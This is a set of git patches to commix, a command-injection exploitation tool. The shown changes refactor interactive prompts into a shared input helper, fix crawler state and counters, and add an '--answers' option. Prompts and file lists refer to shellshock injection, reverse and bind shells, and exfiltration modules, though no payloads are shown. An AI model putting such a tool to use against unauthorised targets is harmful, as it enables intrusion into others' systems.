+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "N"
+ if message in settings.CHOICE_YES:
+ menu.options.crawldepth = 1
+ break
+ if message in settings.CHOICE_NO:
+ break
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + message + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+ set_crawling_depth()
+
+"""
+Check for the existence of site's sitemap
+"""
+def check_sitemap():
+ while True:
+ if not menu.options.batch:
+ question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
+ question_msg += "the existence of site's sitemap(.xml)? [y/N] > "
+ message = _input(settings.print_question_msg(question_msg))
+ else:
+ message = ""
+ if len(message) == 0:
+ message = "n"
+ if message in settings.CHOICE_YES:
+ settings.SITEMAP_CHECK = True
+ return
+ elif message in settings.CHOICE_NO:
+ settings.SITEMAP_CHECK = False
+ return
+ elif message in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ err_msg = "'" + message + "' is not a valid answer."
+ print(settings.print_error_msg(err_msg))
+ pass
+
+def no_usable_links(crawled_hrefs):
+ if len(crawled_hrefs) == 0:
+ warn_msg = "No usable links found."
+ print(settings.print_warning_msg(warn_msg))
+ raise SystemExit()
"""
The crawing process.
@@ -254,19 +313,16 @@ def do_process(url):
not re.search(r"(?i)\.(js|css)(\?|\Z)", href):
identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False)
- if len(crawled_hrefs) != 0:
- if identified_hrefs:
- if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1:
- return list(set(new_crawled_hrefs))
- return list(set(crawled_hrefs))
- return list("")
- else:
- warn_msg = "No usable links found."
- print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
+ no_usable_links(crawled_hrefs)
+ if identified_hrefs:
+ if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1:
+ return list(set(new_crawled_hrefs))
+ return list(set(crawled_hrefs))
+ return list("")
+
except Exception as e: # for non-HTML files and non-valid links
pass
-
+
"""
The main crawler.
@@ -279,57 +335,12 @@ def crawler(url, url_num, crawling_list):
info_msg = "Starting crawler for target URL '" + url + "'" + _
print(settings.print_info_msg(info_msg))
response = request(url)
-
if settings.SITEMAP_CHECK:
- message = ""
- if not settings.CRAWLING:
- while True:
- if not menu.options.batch:
- question_msg = "Do you want to enable crawler? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "N"
- if message in settings.CHOICE_YES:
- menu.options.crawldepth = 1
- break
- if message in settings.CHOICE_NO:
- break
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
- set_crawling_depth()
-
+ enable_crawler()
if settings.SITEMAP_CHECK is None:
- while True:
- if not menu.options.batch:
- question_msg = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
- question_msg += "the existence of site's sitemap(.xml)? [y/N] > "
- message = _input(settings.print_question_msg(question_msg))
- else:
- message = ""
- if len(message) == 0:
- message = "n"
- if message in settings.CHOICE_YES:
- settings.SITEMAP_CHECK = True
- break
- elif message in settings.CHOICE_NO:
- settings.SITEMAP_CHECK = False
- break
- elif message in settings.CHOICE_QUIT:
- raise SystemExit()
- else:
- err_msg = "'" + message + "' is not a valid answer."
- print(settings.print_error_msg(err_msg))
- pass
-
+ check_sitemap()
if settings.SITEMAP_CHECK:
output_href = sitemap(url)
-
if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None):
output_href = do_process(url)
if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1:
@@ -359,6 +370,7 @@ def crawler(url, url_num, crawling_list):
settings.DEFAULT_CRAWLING_DEPTH += 1
output_href = crawled_hrefs
+ no_usable_links(crawled_hrefs)
return output_href
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index de7e66914e..2f587a5d43 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "58"
+REVISION = "59"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 9b107187d66d65d78c320c17d37ceab62442293f Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 12 May 2022 08:17:00 +0300
Subject: [PATCH 136/560] Additional fixes and updates regarding commit:
https://github.com/commixproject/commix/commit/ddb72e397c028d400d06d5279608bc4fcda9cc0c
---
src/core/injections/controller/checks.py | 185 +++++++----------------
src/core/main.py | 2 +-
src/core/requests/headers.py | 32 ++--
src/core/requests/redirection.py | 4 +-
src/utils/crawler.py | 45 ++++--
src/utils/settings.py | 6 +-
6 files changed, 112 insertions(+), 162 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 94c2de10e4..d4b075f8a1 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -29,6 +29,7 @@
import traceback
from src.utils import logs
from src.utils import menu
+from src.utils import common
from src.utils import settings
from src.utils import simple_http_server
from src.thirdparty.odict import OrderedDict
@@ -97,7 +98,7 @@ def connection_exceptions(err_msg, url):
warn_msg += "'--random-agent' switch and/or "
warn_msg += "'--proxy' option."
print(settings.print_warning_msg(warn_msg))
- if not settings.MULTI_TARGETS:
+ if not settings.MULTI_TARGETS and not settings.CRAWLING:
raise SystemExit()
elif "infinite loop" in str(error_msg):
error_msg = "Infinite redirect loop detected. "
@@ -122,7 +123,8 @@ def connection_exceptions(err_msg, url):
_ = " Skipping URL '" + str(url) + "'."
if settings.MULTI_TARGETS or settings.CRAWLING:
error_msg = error_msg + _
- print(settings.print_critical_msg(error_msg))
+ if len(_) != 0 or (not settings.MULTI_TARGETS and not settings.CRAWLING):
+ print(settings.print_critical_msg(error_msg))
settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1
if settings.MAX_RETRIES > 1:
time.sleep(settings.DELAY_RETRY)
@@ -138,18 +140,13 @@ def not_declared_cookies(response):
candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1)
if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False:
settings.DECLARED_COOKIES = True
- if settings.CRAWLED_SKIPPED_URLS != 0:
+ if settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
while True:
- if not menu.options.batch:
- question_msg = "You have not declared cookie(s), while "
- question_msg += "server wants to set its own ('" + str(candidate) + "'). "
- question_msg += "Do you want to use those [Y/n] > "
- set_cookies = _input(settings.print_question_msg(question_msg)).lower()
- else:
- set_cookies = ""
- if len(set_cookies) == 0:
- set_cookies = "Y"
+ message = "You have not declared cookie(s), while "
+ message += "server wants to set its own ('" + str(candidate) + "'). "
+ message += "Do you want to use those [Y/n] > "
+ set_cookies = common.read_input(message, default="Y", check_batch=True)
if set_cookies in settings.CHOICE_YES:
menu.options.cookie = candidate
break
@@ -212,13 +209,10 @@ def load_cmd_history():
# If the value has boundaries.
def value_boundaries(value):
- if not menu.options.batch:
- question_msg = "It appears that the value '" + value + "' has boundaries. "
- question_msg += "Do you want to inject inside? [Y/n] > "
- procced_option = _input(settings.print_question_msg(question_msg))
- else:
- procced_option = ""
- if procced_option in settings.CHOICE_YES or len(procced_option) == 0:
+ message = "It appears that the value '" + value + "' has boundaries. "
+ message += "Do you want to inject inside? [Y/n] > "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
value = re.search(settings.VALUE_BOUNDARIES, value).group(1)
elif procced_option in settings.CHOICE_NO:
pass
@@ -428,13 +422,8 @@ def check_injection_level():
"""
def next_attack_vector(technique, go_back):
while True:
- if not menu.options.batch:
- question_msg = "Continue with testing the " + technique + "? [Y/n] > "
- next_attack_vector = _input(settings.print_question_msg(question_msg))
- else:
- next_attack_vector = ""
- if len(next_attack_vector) == 0:
- next_attack_vector = "Y"
+ message = "Continue with testing the " + technique + "? [Y/n] > "
+ next_attack_vector = common.read_input(message, default="Y", check_batch=True)
if next_attack_vector in settings.CHOICE_YES:
# Check injection state
assessment_phase()
@@ -494,15 +483,10 @@ def check_os_shell_options(cmd, technique, go_back, no_result):
"""
def procced_with_file_based_technique():
while True:
- if not menu.options.batch:
- question_msg = "Due to the provided '--web-root' option,"
- question_msg += " do you want to procced with the (semi-blind) "
- question_msg += "file-based injection technique? [Y/n] > "
- enable_fb = _input(settings.print_question_msg(question_msg))
- else:
- enable_fb = ""
- if len(enable_fb) == 0:
- enable_fb = "Y"
+ message = "Due to the provided '--web-root' option,"
+ message += " do you want to procced with the (semi-blind) "
+ message += "file-based injection technique? [Y/n] > "
+ enable_fb = common.read_input(message, default="Y", check_batch=True)
if enable_fb in settings.CHOICE_YES:
return True
elif enable_fb in settings.CHOICE_NO:
@@ -563,14 +547,9 @@ def continue_tests(err):
try:
while True:
- if not menu.options.batch:
- question_msg = "Do you want to ignore the error (" + str(err.code)
- question_msg += ") message and continue the tests? [Y/n] > "
- continue_tests = _input(settings.print_question_msg(question_msg))
- else:
- continue_tests = ""
- if len(continue_tests) == 0:
- continue_tests = "Y"
+ message = "Do you want to ignore the error (" + str(err.code)
+ message += ") message and continue the tests? [Y/n] > "
+ continue_tests = common.read_input(message, default="Y", check_batch=True)
if continue_tests in settings.CHOICE_YES:
return True
elif continue_tests in settings.CHOICE_NO:
@@ -636,14 +615,9 @@ def ps_check():
warn_msg += "have chosen, are requiring the use of PowerShell. "
print(settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use the \"--ps-version\" option "
- question_msg += "so ensure that PowerShell is enabled? [Y/n] > "
- ps_check = _input(settings.print_question_msg(question_msg))
- else:
- ps_check = ""
- if len(ps_check) == 0:
- ps_check = "Y"
+ message = "Do you want to use the \"--ps-version\" option "
+ message += "so ensure that PowerShell is enabled? [Y/n] > "
+ ps_check = common.read_input(message, default="Y", check_batch=True)
if ps_check in settings.CHOICE_YES:
menu.options.ps_version = True
break
@@ -662,14 +636,9 @@ def ps_check():
"""
def ps_check_failed():
while True:
- if not menu.options.batch:
- question_msg = "Do you want to ignore the above warning "
- question_msg += "and continue the procedure? [Y/n] > "
- ps_check = _input(settings.print_question_msg(question_msg))
- else:
- ps_check = ""
- if len(ps_check) == 0:
- ps_check = "Y"
+ message = "Do you want to ignore the above warning "
+ message += "and continue the procedure? [Y/n] > "
+ ps_check = common.read_input(message, default="Y", check_batch=True)
if ps_check in settings.CHOICE_YES:
break
elif ps_check in settings.CHOICE_NO:
@@ -709,13 +678,8 @@ def check_CGI_scripts(url):
warn_msg += "vulnerable to shellshock. "
print(settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enable the shellshock injection module? [Y/n] > "
- shellshock_check = _input(settings.print_question_msg(question_msg))
- else:
- shellshock_check = ""
- if len(shellshock_check) == 0:
- shellshock_check = "Y"
+ message = "Do you want to enable the shellshock injection module? [Y/n] > "
+ shellshock_check = common.read_input(message, default="Y", check_batch=True)
if shellshock_check in settings.CHOICE_YES:
menu.options.shellshock = True
break
@@ -779,16 +743,11 @@ def user_defined_os():
is different than the one identified by heuristics.
"""
def identified_os():
- if not menu.options.batch:
- warn_msg = "Heuristics have identified different operating system ("
- warn_msg += settings.TARGET_OS + ") than that you have provided."
- print(settings.print_warning_msg(warn_msg))
- question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
- proceed_option = _input(settings.print_question_msg(question_msg))
- else:
- proceed_option = ""
- if len(proceed_option) == 0:
- proceed_option = "c"
+ warn_msg = "Heuristics have identified different operating system ("
+ warn_msg += settings.TARGET_OS + ") than that you have provided."
+ print(settings.print_warning_msg(warn_msg))
+ message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
+ proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
return False
@@ -862,17 +821,12 @@ def http_auth_err_msg():
is different than the one identified by heuristics.
"""
def identified_http_auth_type(auth_type):
- if not menu.options.batch:
- warn_msg = "Heuristics have identified different HTTP authentication type ("
- warn_msg += auth_type.lower() + ") than that you have provided ("
- warn_msg += menu.options.auth_type + ")."
- print(settings.print_warning_msg(warn_msg))
- question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
- proceed_option = _input(settings.print_question_msg(question_msg))
- else:
- proceed_option = ""
- if len(proceed_option) == 0:
- proceed_option = "c"
+ warn_msg = "Heuristics have identified different HTTP authentication type ("
+ warn_msg += auth_type.lower() + ") than that you have provided ("
+ warn_msg += menu.options.auth_type + ")."
+ print(settings.print_warning_msg(warn_msg))
+ message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
+ proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
return False
@@ -1499,16 +1453,9 @@ def is_XML_check(parameter):
def process_xml_data():
while True:
info_msg = "SOAP/XML data found in POST data."
- if not menu.options.batch:
- question_msg = info_msg
- question_msg += " Do you want to process it? [Y/n] > "
- xml_process = _input(settings.print_question_msg(question_msg))
- else:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.print_bold_info_msg(info_msg))
- xml_process = ""
- if len(xml_process) == 0:
- xml_process = "Y"
+ message = info_msg
+ message += " Do you want to process it? [Y/n] > "
+ xml_process = common.read_input(message, default="Y", check_batch=True)
if xml_process in settings.CHOICE_YES:
settings.IS_XML = True
break
@@ -1549,16 +1496,9 @@ def is_JSON_check(parameter):
def process_json_data():
while True:
info_msg = "JSON data found in POST data."
- if not menu.options.batch:
- question_msg = info_msg
- question_msg += " Do you want to process it? [Y/n] > "
- json_process = _input(settings.print_question_msg(question_msg))
- else:
- if settings.VERBOSITY_LEVEL != 0:
- print(settings.print_bold_info_msg(info_msg))
- json_process = ""
- if len(json_process) == 0:
- json_process = "Y"
+ message = info_msg
+ message += " Do you want to process it? [Y/n] > "
+ json_process = common.read_input(message, default="Y", check_batch=True)
if json_process in settings.CHOICE_YES:
settings.IS_JSON = True
break
@@ -1633,15 +1573,9 @@ def file_upload():
menu.options.file_dest = menu.options.file_dest + "/"
# Check if not defined URL for upload.
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enable an HTTP server? [Y/n] > "
- enable_HTTP_server = _input(settings.print_question_msg(question_msg))
- else:
- enable_HTTP_server = ""
- if len(enable_HTTP_server) == 0:
- enable_HTTP_server = "Y"
+ message = "Do you want to enable an HTTP server? [Y/n] > "
+ enable_HTTP_server = common.read_input(message, default="Y", check_batch=True)
if enable_HTTP_server in settings.CHOICE_YES:
-
# Check if file exists
if not os.path.isfile(menu.options.file_upload):
err_msg = "The '" + menu.options.file_upload + "' file, does not exist."
@@ -1651,8 +1585,8 @@ def file_upload():
# Setting the local HTTP server.
if settings.LOCAL_HTTP_IP == None:
while True:
- question_msg = "Please enter your interface IP address > "
- ip_addr = _input(settings.print_question_msg(question_msg))
+ message = "Please enter your interface IP address > "
+ ip_addr = common.read_input(message, default=None, check_batch=True)
# check if IP address is valid
ip_check = simple_http_server.is_valid_ipv4(ip_addr)
if ip_check == False:
@@ -1718,20 +1652,15 @@ def check_wrong_flags():
def define_py_working_dir():
if settings.TARGET_OS == "win" and menu.options.alter_shell:
while True:
- if not menu.options.batch:
- question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
- question_msg += "' as Python working directory on the target host? [Y/n] > "
- python_dir = _input(settings.print_question_msg(question_msg))
- else:
- python_dir = ""
- if len(python_dir) == 0:
- python_dir = "Y"
+ message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER
+ message += "' as Python working directory on the target host? [Y/n] > "
+ python_dir = common.read_input(message, default="Y" , check_batch=True)
if python_dir in settings.CHOICE_YES:
break
elif python_dir in settings.CHOICE_NO:
- question_msg = "Please provide a custom working directory for Python (e.g. '"
- question_msg += settings.WIN_PYTHON_INTERPRETER + "') > "
- settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg))
+ message = "Please provide a custom working directory for Python (e.g. '"
+ message += settings.WIN_PYTHON_INTERPRETER + "') > "
+ settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True)
break
else:
err_msg = "'" + python_dir + "' is not a valid answer."
diff --git a/src/core/main.py b/src/core/main.py
index 8e6faa281e..f0709d3eac 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -810,7 +810,7 @@ def main(filename, url):
else:
crawling_list = len(bulkfile)
for url in bulkfile:
- output_href = (crawler.crawler(url, url_num, crawling_list))
+ output_href += (crawler.crawler(url, url_num, crawling_list))
url_num += 1
output_href = output_href + bulkfile
output_href = [x for x in output_href if x not in settings.HREF_SKIPPED]
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 226248abab..81ab7d39e2 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -169,19 +169,6 @@ def https_open(self, req):
if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
- except _urllib.error.HTTPError as err_msg:
- if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
- if (settings.CRAWLING and settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0) or \
- not settings.CRAWLING:
- print(settings.SINGLE_WHITESPACE)
- if settings.UNAUTHORIZED_ERROR in str(err_msg):
- settings.UNAUTHORIZED = unauthorized = True
- if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
- break
-
- except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
- pass
-
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
print(settings.SINGLE_WHITESPACE)
@@ -191,7 +178,24 @@ def https_open(self, req):
except AttributeError:
raise SystemExit()
+
+ except _urllib.error.HTTPError as err_msg:
+ if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
+ if (settings.CRAWLING and settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0) or \
+ not settings.CRAWLING:
+ print(settings.SINGLE_WHITESPACE)
+ if settings.UNAUTHORIZED_ERROR in str(err_msg):
+ settings.UNAUTHORIZED = unauthorized = True
+ if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]:
+ break
+ except (SocketError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
+ if not settings.MULTI_TARGETS and not settings.CRAWLING:
+ pass
+ else:
+ checks.connection_exceptions(err_msg, url=request)
+ break
+
try:
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
code = response.getcode()
@@ -221,7 +225,7 @@ def https_open(self, req):
not settings.IS_XML and \
not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
not str(err.code) == settings.BAD_REQUEST and \
- not settings.CRAWLED_URLS != 0) and settings.CRAWLED_SKIPPED_URLS != 0:
+ not settings.CRAWLED_URLS_NUM != 0) and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
# Check for 3xx, 4xx, 5xx HTTP error codes.
if str(err.code).startswith(('3', '4', '5')):
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index e3a5612766..5dbf50cb21 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -66,7 +66,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
else:
while True:
if not menu.options.batch and not settings.FOLLOW_REDIRECT:
- if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0:
+ if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
question_msg = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
question_msg += "Do you want to follow the identified redirection? [Y/n] > "
@@ -90,7 +90,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL) as err_msg:
if settings.VALID_URL:
- checks.connection_exceptions(err_msg, url)
+ checks.connection_exceptions(err_msg, request)
else:
pass
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 81fd2a2d7c..470d8e704d 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -29,11 +29,16 @@
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup
-sitemap_loc = []
-visited_hrefs = []
-crawled_hrefs = []
-new_crawled_hrefs = []
+def init_global_vars():
+ global crawled_hrefs
+ crawled_hrefs = []
+ global sitemap_loc
+ sitemap_loc = []
+ global visited_hrefs
+ visited_hrefs = []
+ global new_crawled_hrefs
+ new_crawled_hrefs = []
"""
Change the crawling depth level.
@@ -183,6 +188,8 @@ def sitemap(url):
Store the identified (valid) hrefs.
"""
def store_hrefs(href, identified_hrefs, redirection):
+ set(crawled_hrefs)
+ set(new_crawled_hrefs)
if href not in crawled_hrefs:
if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection:
new_crawled_hrefs.append(href)
@@ -212,9 +219,9 @@ def request(url):
except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.InvalidURL, Exception) as err_msg:
if url not in settings.HREF_SKIPPED:
settings.HREF_SKIPPED.append(url)
- settings.CRAWLED_SKIPPED_URLS += 1
+ settings.CRAWLED_SKIPPED_URLS_NUM += 1
if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS:
- if settings.CRAWLED_URLS != 0 and settings.CRAWLED_SKIPPED_URLS != 0:
+ if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
checks.connection_exceptions(err_msg, url)
if settings.VERBOSITY_LEVEL >= 2:
@@ -273,11 +280,15 @@ def check_sitemap():
print(settings.print_error_msg(err_msg))
pass
+"""
+Check if no usable links found.
+"""
def no_usable_links(crawled_hrefs):
if len(crawled_hrefs) == 0:
- warn_msg = "No usable links found."
+ warn_msg = "No usable links found (with GET parameters)."
print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
+ if not settings.MULTI_TARGETS:
+ raise SystemExit()
"""
The crawing process.
@@ -287,7 +298,7 @@ def do_process(url):
if settings.VERBOSITY_LEVEL >= 2:
print(settings.SINGLE_WHITESPACE)
else:
- if settings.CRAWLED_SKIPPED_URLS == 0:
+ if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0:
sys.stdout.write("\r")
# Grab the crawled hrefs.
try:
@@ -302,7 +313,6 @@ def do_process(url):
tags = []
tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content)
tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content)
-
for tag in tags:
href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href")
if href:
@@ -328,6 +338,7 @@ def do_process(url):
The main crawler.
"""
def crawler(url, url_num, crawling_list):
+ init_global_vars()
if crawling_list > 1:
_ = " (" + str(url_num) + "/" + str(crawling_list) + ")"
else:
@@ -349,28 +360,34 @@ def crawler(url, url_num, crawling_list):
info_msg = "Searching for usable "
info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "."
print(settings.print_info_msg(info_msg))
- if settings.DEFAULT_CRAWLING_DEPTH != 1:
+ if settings.DEFAULT_CRAWLING_DEPTH == 2:
output_href = new_crawled_hrefs
+ elif settings.DEFAULT_CRAWLING_DEPTH > 2:
+ output_href = new_crawled_hrefs + crawled_hrefs
+ try:
+ [output_href.remove(x) for x in visited_hrefs if x in output_href]
+ except TypeError:
+ pass
link = 0
if output_href is not None:
for url in output_href:
if url not in visited_hrefs:
link += 1
- settings.CRAWLED_URLS = link
+ settings.CRAWLED_URLS_NUM = link
visited_hrefs.append(url)
do_process(url)
info_msg = str(link)
info_msg += "/" + str(len(output_href)) + " links visited."
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
- if settings.VERBOSITY_LEVEL != 0:
+ if settings.VERBOSITY_LEVEL > 1:
print(settings.SINGLE_WHITESPACE)
if link != 0:
print(settings.SINGLE_WHITESPACE)
settings.DEFAULT_CRAWLING_DEPTH += 1
output_href = crawled_hrefs
- no_usable_links(crawled_hrefs)
+ no_usable_links(output_href)
return output_href
# eof
\ No newline at end of file
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 2f587a5d43..bc5787c777 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -230,7 +230,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "59"
+REVISION = "60"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
@@ -1132,8 +1132,8 @@ def sys_argv_errors():
# Crawling state
CRAWLING = False
-CRAWLED_SKIPPED_URLS = 0
-CRAWLED_URLS = 0
+CRAWLED_SKIPPED_URLS_NUM = 0
+CRAWLED_URLS_NUM = 0
# Skipped crawled hrefs
HREF_SKIPPED = []
From 09e9bea93d8ebcb03322317a338c0d1c6b616602 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 13 May 2022 09:14:48 +0300
Subject: [PATCH 137/560] Fixes
https://github.com/commixproject/commix/issues/497, fixes
https://github.com/commixproject/commix/issues/769, added a new option
`--answers` to set user answers to asked questions during commix run
---
doc/CHANGELOG.md | 1 +
.../blind/techniques/time_based/tb_handler.py | 52 ++++----------
src/core/injections/controller/checks.py | 13 ++--
src/core/injections/controller/controller.py | 49 +++++--------
.../techniques/classic/cb_handler.py | 35 +++------
.../techniques/eval_based/eb_handler.py | 34 +++------
.../techniques/file_based/fb_handler.py | 53 ++++----------
.../techniques/file_based/fb_injector.py | 12 ++--
.../techniques/tempfile_based/tfb_handler.py | 41 +++--------
src/core/main.py | 22 +++---
.../dns_exfiltration/dns_exfiltration.py | 11 +--
.../icmp_exfiltration/icmp_exfiltration.py | 13 ++--
src/core/modules/shellshock/shellshock.py | 33 +++------
src/core/requests/authentication.py | 18 ++---
src/core/requests/redirection.py | 15 ++--
src/core/requests/requests.py | 28 +++-----
src/core/shells/bind_tcp.py | 61 ++++++----------
src/core/shells/reverse_tcp.py | 61 ++++++----------
src/utils/common.py | 66 ++++++++++++++---
src/utils/crawler.py | 71 +++++--------------
src/utils/install.py | 9 +--
src/utils/menu.py | 9 ++-
src/utils/session_handler.py | 22 +++---
src/utils/settings.py | 10 ++-
src/utils/update.py | 27 +++----
25 files changed, 282 insertions(+), 484 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index e4f15ae11f..8699acf397 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Added: New option `--answers` to set user answers to asked questions during commix run.
* Added: Support regarding combining `--crawl` option with scanning multiple targets given in a textual file (i.e. via option `-m`).
* Added: Support for normalizing crawling results.
* Revised: Improvement regarding crawler.
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index e58bd3fbfb..4dc27cb427 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -21,6 +21,7 @@
from src.utils import menu
from src.utils import logs
from src.utils import settings
+from src.utils import common
from src.core.compat import xrange
from src.utils import session_handler
from src.core.requests import headers
@@ -217,13 +218,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
- if not menu.options.batch:
- question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
- proceed_option = _input(settings.print_question_msg(question_msg))
- else:
- proceed_option = ""
- if len(proceed_option) == 0:
- proceed_option = "c"
+ message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
+ proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
@@ -420,13 +416,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True:
while True:
- if not menu.options.batch:
- question_msg = "Do you want to enumerate again? [Y/n] > "
- enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
- else:
- enumerate_again = ""
- if len(enumerate_again) == 0:
- enumerate_again = "Y"
+ message = "Do you want to enumerate again? [Y/n] > "
+ enumerate_again = common.read_input(message, default="Y", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
